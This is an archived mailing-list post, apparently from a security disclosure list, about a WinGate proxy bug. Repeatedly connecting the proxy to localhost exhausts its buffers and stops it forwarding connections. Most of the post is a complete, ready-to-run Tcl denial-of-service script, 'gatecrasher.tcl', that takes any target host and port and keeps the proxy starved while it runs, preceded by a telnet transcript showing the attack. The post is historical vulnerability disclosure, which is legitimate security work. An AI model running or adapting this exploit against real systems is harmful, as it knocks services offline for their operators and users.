After a WinGate attack on our IRC channel, a friend of mine was toying around and discovered a fun bug: $ telnet unsecured.wingate.com Trying XXX.XX.XX.XXX... Connected to XXX.XX.XX.XXX. Escape character is '^]'. WinGate>localhost Connecting to host localhost...Connected As you can see, the WinGate happily connects to itself. Do this enough times, and ... WinGate>localhost Connecting to host localhost...Out of buffers At this point, the WinGate stops forwarding connections. Clients can still connect but cannot make use of it. Below is a simple TCL exploit to demonstrate the idea. - Matt #!/usr/local/bin/tclsh # gatecrasher.tcl # # This opens a WinGate and connects it to itself repeatedly until the # target machine runs out of buffers and stops forwarding connections. # The WinGate will not function as long as the script is running. # # Credit goes to Chris Snell <texanat_private> for finding the bug. # # I apologize in advance for not being cool enough to script this is perl. # # - Matt Carothers <carotherat_private> set host [lindex $argv 0]; set port [lindex $argv 1]; if {![string compare $host ""]} { set command [string range $argv0 [expr [string last / $argv0] + 1] end]; puts stdout "Usage: $command <host> \[port\]"; exit 1; } if {![string compare $port ""]} { set port 23; } if {[catch {set sock [socket $host $port]} stuff]} { # Could not connect for some reason. Output an error message and exit. puts stdout "$host:$port : $stuff"; exit 1; } puts stdout "Connected to $host:$port. Launching WinGate kill ..."; set flag 0; puts $sock "localhost"; flush $sock; while {[gets $sock line] >= 0} { if {[string match "*Connected*" $line]} { # We've successfully connected the WinGate to itself. # Whee, let's do it again. puts $sock "localhost"; flush $sock; puts -nonewline stdout "."; flush stdout; set flag 0; } elseif {[string match "*Out of buffers*" $line]} { # The WinGate is now out of buffers. # We'll output a message to that effect and keep trying. This # serves as a keep-alive and lets us jump in and fill any buffers # freed by clients which disconnect after the attack succeeds. if {!$flag} { puts stdout "\n*plink*"; set flag 1; } puts $sock "localhost"; flush $sock; } } puts stdout "\nConnection lost.";
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 13:42:59 PDT